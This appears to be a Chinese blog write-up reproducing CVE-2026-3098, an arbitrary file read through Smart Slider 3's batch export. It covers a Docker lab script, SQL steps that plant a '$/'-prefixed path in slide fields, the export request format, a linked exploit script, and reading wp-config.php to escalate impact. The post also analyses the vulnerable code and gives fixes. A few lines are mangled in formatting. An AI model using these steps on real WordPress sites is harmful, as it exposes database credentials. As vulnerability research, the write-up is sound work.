Smart Slider 3 WordPress 插件任意文件读取漏洞 | CVE-2026-3098复现&研究

0x0 背景介绍

Smart Slider 3是一款流行的WordPress动态滑块和页面构建插件。

在3.5.1.33及之前版本中,插件的actionExportAll 函数在处理导出逻辑时未对用户输入的文件路径进行严格过滤。具有订阅者(Subscriber)及以上权限的攻击者可以利用该漏洞读取服务器上的任意文件内容(如 wp-config.php),导致数据库凭据等敏感信息泄露。

0x1 环境搭建(Ubuntu24)

bash 复制代码
#install.sh
#!/bin/bash

# 检查并安装依赖
if ! command -v unzip &> /dev/null; then
    echo "[*] 安装依赖工具..."
    apt update && apt install -y unzip wget curl
fi

echo "[*] 阶段1/5:创建漏洞复现目录..."
mkdir -p smart-slider-3-cve-2026-3098 && cd smart-slider-3-cve-2026-3098 || { echo "[x] 创建目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"

echo "[*] 阶段2/5:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
services:
  db:
    image: mysql:8.0
    container_name: slider-db
    environment:
      MYSQL_ROOT_PASSWORD: slider-root-pass
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wpuser
      MYSQL_PASSWORD: slider-user-pass
    volumes:
      - db_data:/var/lib/mysql
    command: --default-authentication-plugin=mysql_native_password

  wordpress:
    image: wordpress:php7.4-apache
    container_name: slider-wp
    ports:
      - "8091:80"  # 修改端口为 8091,避免与本机或其他环境冲突
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wpuser
      WORDPRESS_DB_PASSWORD: slider-user-pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_plugins:/var/www/html/wp-content/plugins
    depends_on:
      - db
volumes:
  db_data:
  wp_plugins:
EOF

echo "[*] 阶段3/5:启动 Docker 环境..."
docker compose up -d

echo "[*] 等待服务启动(约60秒)..."
for i in {1..12}; do
    echo -n "."
    sleep 5
done
echo -e "\n[+] 服务启动完成"

echo "[*] 等待 WordPress 安装页面就绪..."
until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8091/wp-admin/install.php)" = "200" ]; do
    sleep 2
done
echo "[+] WordPress 已就绪"

echo "[*] 阶段4/5:下载并部署 Smart Slider 3 v3.5.1.32 (漏洞版本)..."

# 修改为 Smart Slider 3 的下载链接
PLUGIN_URL="https://downloads.wordpress.org/plugin/smart-slider-3.3.5.1.32.zip"
PLUGIN_ZIP="smart-slider-3.3.5.1.32.zip"

rm -rf smart-slider-3 "$PLUGIN_ZIP"

# 下载
if ! wget -q "$PLUGIN_URL" -O "$PLUGIN_ZIP"; then
    echo "[-] 下载失败,尝试备用镜像..."
    if ! wget -q "https://downloads.wordpress.org/plugin/smart-slider-3.3.5.1.32.zip" -O "$PLUGIN_ZIP"; then
        echo "[!] 插件下载失败,请检查网络或插件是否仍可用"
        exit 1
    fi
fi

# 解压
unzip -q "$PLUGIN_ZIP"

# 验证插件目录存在 (注意目录名是 smart-slider-3)
if [ ! -d "smart-slider-3" ]; then
    echo "[-] 插件目录未生成,解压失败"
    ls -la
    exit 1
fi

# 复制到容器
docker cp smart-slider-3 slider-wp:/var/www/html/wp-content/plugins/

# 修复权限
docker exec slider-wp chown -R www-data:www-data /var/www/html/wp-content/plugins/smart-slider-3

# 清理本地
rm -rf "$PLUGIN_ZIP" smart-slider-3

# 验证
if docker exec slider-wp test -f /var/www/html/wp-content/plugins/smart-slider-3/smart-slider-3.php; then
    echo "[+] Smart Slider 3 插件部署成功!"
else
    echo "[-] 插件主文件未找到,部署失败"
    docker exec slider-wp ls -l /var/www/html/wp-content/plugins/smart-slider-3/ || true
    exit 1
fi

echo "=============================================="
echo " CVE-2026-3098 漏洞环境部署完成!"
echo "  - 访问站点: http://localhost:8091"
echo "  - 首次访问时请完成 WordPress 安装"
echo "    * 站点标题: Smart Slider 3 - CVE-2026-3098"
echo "    * 用户名: admin"
echo "    * 密码: 自定义强密码(务必记住)"
echo "    * 邮箱: cve-2026-3098@local.test"
echo ""
echo "  - 安装步骤:"
echo "    1. 完成安装后登录后台"
echo "    2. 进入 '插件' -> 启用 'Smart Slider 3'"
echo "=============================================="

0x2 漏洞复现

  • 前置条件
条件 说明
具有Subscriber(订阅者)级别及权限 取决于你站点ACL/角色映射)进入Smart Slider 3后台管理页,确保可访问"滑块管理"界面以及导出操作入口。
插件为影响版本 及小于等于3.5.1.33

2.1-手动复现

  • python验证
bash 复制代码
#需要提前准备好账密,在脚本中配置
 https://github.com/Kai-One001/cve-/blob/main/WordPress_plugin_Smart_Slider_CVE-2026-3098.py
  • 手动验证-最小化验证方法(安全替代 payload)
bash 复制代码
# 1. 进入容器
docker exec-it slider-wp 
# 2. 创建测试目录和文件 (内容写为 "VULNERABILITY TEST SUCCESS")
mkdir -p /var/www/html/wp-content/uploads/ss3_auditecho "VULNERABILITY TEST SUCCESS - FLAG{123456}">/var/www/html/wp-content/uploads/ss3_audit/test.txt
# 3. 确认文件存在
192021root@41139d75bbfd:/var/www/html# ls -l /var/www/html/wp-content/uploads/ss3_audit/
total 4-rw-r--r-- 1 root root 42 Mar 31 10:23 test.txt
# 4.数据库验证POC已嵌入
+----+------------------------------+------------------------------+| id | thumbnail                    | background_image             |+----+------------------------------+------------------------------+|  6 | $/uploads/ss3_audit/test.txt | $/uploads/ss3_audit/test.txt |+----+------------------------------+------------------------------+1 row in set (0.00 sec)
# 4.1 POC如何嵌入呢
大致是进入插件-新增模板-添加轮播图-添加背景图,进行嵌入,其实忘记截图了...
POC为:$/uploads/ss3_audit/test.txt
# 4.2 数据库修改也中
mysql> UPDATE wp_nextend2_smartslider3_slides
SET  thumbnail = '$/uploads/ss3_audit/test.txt',
  params = JSON_SET(params, '$.backgroundImage', '$/uploads/ss3_audit/test.txt')
  WHERE slider = 3 AND id = 6;

 mysql> SELECT     id,     thumbnail,     JSON_UNQUOTE(JSON_EXTRACT(params, '$.backgroundImage')) as background_image FROM     wp_nextend2_smartslider3_slides WHERE     slider = 3;
 +----+------------------------------+------------------------------+
 | id | thumbnail                    | background_image             |
 +----+------------------------------+------------------------------+
 |  6 | $/uploads/ss3_audit/test.txt | $/uploads/ss3_audit/test.txt |
 +----+------------------------------+------------------------------+
 1 row in set (0.00 sec)
 mysql>

 # 5. 验证成功读取
返回-选中-批量导出-修改zip-解压

附一张其他顶雷图(●'◡'●)

2.2 场景 :扩大危害

  • 老规矩,验证成功后进行危害扩大读取config.php

2.3 场景-理论:扩大导出范围验证(inSearch 扩大数据集)

  • 当inSearch=1时,后端actionExportAll()会把$groupID设置为'*',导出集合更可能包含你"已污染的Slider"

  • 验证方式:只需把inSearch切换到1观察导出范围变化及文件读取行为是否更容易触发。

2.4-复现流量特征 (PCAP)

  • 写入动作是明文,不过进行了base加密,想要看拿到了什么数据可能需要解码检测

  • 请求下载能看见文件名,不过内容无法发现

0x3 漏洞原理分析

3.1-架构与模块定位(入口到落地)

  • 先列出来清单和思路
层级 核心文件 角色(在漏洞链条中的职责)
入口层(路由/控制器) Nextend\SmartSlider3\Application\Admin\Sliders\ControllerSliders.php actionExportAll() 解析请求参数并批量调用导出
逻辑层(导出引擎) Nextend\SmartSlider3\BackupSlider\ExportSlider.php create()组装 ZIP;对"资源路径"执行 file_get_contents()
路径解析器 Nextend\Framework\ResourceTranslator\ResourceTranslator.php toPath()资源别名到文件路径的字符串前缀替换(无规范化/无逃逸控制)
URL->Path 映射 Nextend\Framework\Filesystem\WordPress\WordPressFilesystem.php、extend\Framework\Filesystem\AbstractPlatformFilesystem.php 仅做 URL 前缀替换,不做 ... 折叠与安全边界校验
工具类(URL 处理) Nextend\Framework\Url\AbstractPlatformUrl.php relativetoabsolute()拼接 base/current base,缺少路径安全化

3.2-入口,批量导出路由的"失守":

首先呢,还是根据线索actionExportAll入手,在入口控制器里锁定最后一道"导出触发"点:

php 复制代码
// ControllerSliders.php
    protected function actionExportAll() {
        $slidersModel = new ModelSliders($this);
        $groupID      = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0);
        $sliders      = $slidersModel->getAll($groupID, 'published');
        $ids          = Request::$REQUEST->getVar('sliders');

        $files      = array();
        $saveAsFile = count($ids) == 1 ? false : true;
          ........
           $export  = new ExportSlider($this, $slider['id']);
            $files[] = $export->create($saveAsFile);
          ...
        $zip = new Creator();
        foreach ($files as $file) {
            $zip->addFile(file_get_contents($file), basename($file));
            unlink($file);
        }
  • 权限/令牌校验缺失:函数不调用validatePermission()也不调用validateToken()。对比同文件中的actionImport(),它明确调用了权限校验(smartslider_edit)
  • 导出集合可被放大:inSearch=1时,$groupID被直接设为 '*',导致导出集合扩大,进而更容易包含攻击者可控数据(例如已配置了恶意资源字段的Slider)。
  • 导出结果被二次读取:虽然file_get_contents($file)读取的是由导出系统生成的.ss3文件,但真正的风险已经在下游导出方法中发生:它在创建ZIP时会把"解析为本地路径的资源"直接塞入ZIP内容。

这一步只做了"触发放大器",真正的任意文件读取落地在下一层。

bash 复制代码
HTTP Request
  -> ControllerSliders::actionExportAll
     (注入点:inSearch、sliders[] 影响导出范围与选择)
     -> ExportSlider::create($saveAsFile)
        (注入点在 Slider 配置的图片/资源字段)
        -> ResourceTranslator::toPath / Filesystem::absoluteURLToPath
           (边界缺失:字符串替换,无规范化与逃逸控制)
           -> file_get_contents($file)  (爆发点:读取外部文件内容进入 ZIP)
     -> ControllerSliders 再读回导出文件打包返回(放大泄露面)

3.3-资源"路径解析"缺少安全边界:

接着追踪 e x p o r t − > c r e a t e ( export->create( export−>create(saveAsFile)的实现。也可以把它理解成:导出系统会把Slider的图片资源收集起来,然后把这些资源当作"文件"打进ZIP。

php 复制代码
//ExportSlider.php 中,资源到文件读取的关键段落如下:
            $usedNames = array();
            foreach ($this->images as $image) {
                $file = ResourceTranslator::toPath($image);
                if (Filesystem::fileexists($file)) {
                    $fileName = strtolower(basename($file));
                    ...
                    $this->backup->imageTranslation[$image] = $fileName;
                    $zip->addFile(file_get_contents($file), 'images/' . $fileName);
                }
            }
  • 最后失守的防线不是file_get_contents本身,而是它之前那句ResourceTranslator::toPath($image)把"资源字符串"直接转换为"文件系统路径"
  • 所以看toPath()字符串拼接即读文件

接着检查ResourceTranslator::toPath(),它呢实现是"前缀匹配 + 拼接",没有做任何安全规范化(realpath折叠)与逃逸验证

php 复制代码
   public static function toPath($resourcePath) {
        foreach (self::$resources as $resourceIdentifier) {
            $keyword = $resourceIdentifier->getKeyword();
            if (strpos($resourcePath, $keyword) === 0) {
                return str_replace('/', DIRECTORY_SEPARATOR, $resourceIdentifier->getPath() . substr($resourcePath, strlen($keyword)));
            }
        }
        return $resourcePath;
    }
  • 该类初始化时还会注册资源别名
php 复制代码
    protected function init() {
        self::$isProtocolRelative = !!Settings::get('protocol-relative', 1);
        self::createResource('$', Filesystem::getBasePath(), Url::getBaseUri());
        Image::getInstance();
    }
  • =\> Filesystem::getBasePath()见 init(),符号映射的是Filesystem::getBasePath()
  • 在WordPress环境中,getBasePath()通常返回的是wp-content目录-
  • 意味着只要攻击者让某个资源值以$开头,toPath()就会把后续内容原样拼到base path后面。
  • 边界缺失的直接后果:当资源字符串包含诸如目录逃逸片段时(例如.../形式),导出引擎只用is_file(Filesystem::fileexists)来判断文件是否存在,并不对路径是否仍位于允许目录做约束
  • 因此,file_get_contents($file)可能读取到base目录之外的任意文件内容并被打ZIP。。

3.4-关键入口与请求参数形态

前端导出按钮会跳转到exportAllUrl,并把以下参数拼到查询串中:

  • sliders:本次勾选的滑块id列表(ManageSliders.prototype.exportSliders处构造)

  • inSearch:是否来自搜索态(控制服务端是否用'*'扩大导出范围)
    前端构造逻辑的关键片段

php 复制代码
//来自 smartslider-backend.js
window.location.href = _N2.N2QueryString.add_query_arg({
 sliders: ids,
 inSearch:this.isInSearch
},this.exportAllUrl);

后端的路由层把sliders/exportAll映射到:

php 复制代码
nextendcontroller=sliders
nextendaction=exportall(由路由器lower-case处理)

HTTP 请求"结构骨架"(只展示关键字段,nextend_nonce需为你环境中实际生成的值)所以请求下载的构造为:

php 复制代码
GET /<your-admin-page>?nextendcontroller=sliders&nextendaction=exportall
¤tGroupID=<GROUP_ID>
&sliders[]=<SLIDER_ID>
&inSearch=<0|1>
&nextend_nonce=<TOKEN>

3.5-攻击链路-从注入资源到"读取落地"的闭环:

最后,也看下"资源值来自哪里来",确保链路不是是真实的。

在ExportSlider::create()中,$this->images并不是固定列表,它会从Slider的字段持续累积

php 复制代码
            self::addImage($this->backup->slider['thumbnail']);
                  ...
                for ($i = 0; $i < count($this->backup->slides); $i++) {
                    $slide = $this->backup->slides[$i];
                    self::addImage($slide['thumbnail']);
                    $slide['params'] = new Data($slide['params'], true);
                    self::addImage($slide['params']->get('backgroundImage'));
                    self::addImage($slide['params']->get('ligthboxImage'));
                      ...
                    if ($slide['params']->has('link')) {
                        self::addLightbox($slide['params']->get('link'));
                    }
                    if ($slide['params']->has('href')) {
                        self::addLightbox($slide['params']->get('href'));
                    }
  • 资源描述是只能指向"站点允许的图片资源目录/资源别名"

  • 只要文件存在,就可以安全读取并打入ZIP
    而实际实现缺失了:

  • 路径规范化:导出读取前没用realpath折叠与重新校验目录边界。

  • 逃逸控制:ResourceTranslator::toPath与Filesystem::*ToPath只做字符串拼接/替换,不处理.../等逃逸场景。

  • 二次校验缺失:即使做过"basepath前缀检查",也仍存在未覆盖的分支落点(例如 replaceHTMLImage()中最终仍允许file_get_contents($path))

  • 进一步看这个证据:replaceHTMLImage()也会把解析后的路径直接喂给file_get_contents

php 复制代码
    public function replaceHTMLImage($found) {
        $path = Filesystem::absoluteURLToPath(self::addProtocol($found[2]));
      ...
        if (strpos($path, Filesystem::getBasePath()) !== 0) {
            $imageUrl = Url::relativetoabsolute($path);
            $path     = Filesystem::absoluteURLToPath($imageUrl);
        }
        ...
        if (Filesystem::fileexists($path)) {
            ...
                $this->files['images/' . $fileName] = file_get_contents($path);
                $this->imageTranslation[$path]      = $fileName;
  • 导出系统把"资源字符串"当作"可直接读取的文件路径",并且整个链路都缺乏规范化与目录边界校验。
  • 这样就变成actionExportAll作为放大入口,只要能诱导导出到包含恶意资源字段的Slider,就能造成任意文件读取并以ZIP形式回传出来
  • 相当于ExportSlider::create把可控值喂给解析器

0x4 修复建议

  • 1、升级最新版本:将插件升级安全版本3.5.1.34
bash 复制代码
#站点后台-已安装插件-升级  或者看官方提示
https://smartslider3.com/free/
  • 2、临时防护措施:

  • 减少暴露面:若业务不需要导出功能,可先禁用该后台功能入口,减少可利用面

  • 防火墙 / WAF:监控包含nextendaction=exportall的请求,对异常频率进行限速,结合sliders[] 与 inSearch参数的组合异常进行告警/拦截

  • 限制访问:对nextendcontroller=sliders&nextendaction=exportall进行访问控制,仅允许后台已登录且满足权限的会话访问

  • 权限最小化:站点全部权限最小化,设置强密码避免盗刷。

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
恒拓高科WorkPlus3 小时前
BeeWorks专注企业私有化 IM,安全与管控
经验分享
syjy24 小时前
(含下载)Salient WordPress 主题使用教程|2026 新手实操指南
wordpress·wordpress主题
m0_716765234 小时前
C++巩固案例--通讯录管理系统详解
java·开发语言·c++·经验分享·学习·青少年编程·visual studio
June bug4 小时前
(Mac)docling-mcp 的依赖解析器找不到匹配的 torch 安装包
经验分享·python·macos
中屹指纹浏览器5 小时前
2026指纹浏览器底层性能优化:内存管理与进程调度实战解析
经验分享·笔记
June bug5 小时前
【AI赋能测试】基于 langchain+DeepSeek 的 AI 智能体
经验分享·功能测试·测试工具·职场和发展·langchain·自动化·学习方法
oort1235 小时前
企业培训新选择:奥尔特云一站式解决培训难题
经验分享
Metaphor6925 小时前
使用 Python 将 CSV 转换为 Excel 文件
经验分享
超级AI_mes5 小时前
智慧卤味,一码追溯:万界星空MES方案
人工智能·经验分享·5g·信息可视化·创业创新·制造·可视化ai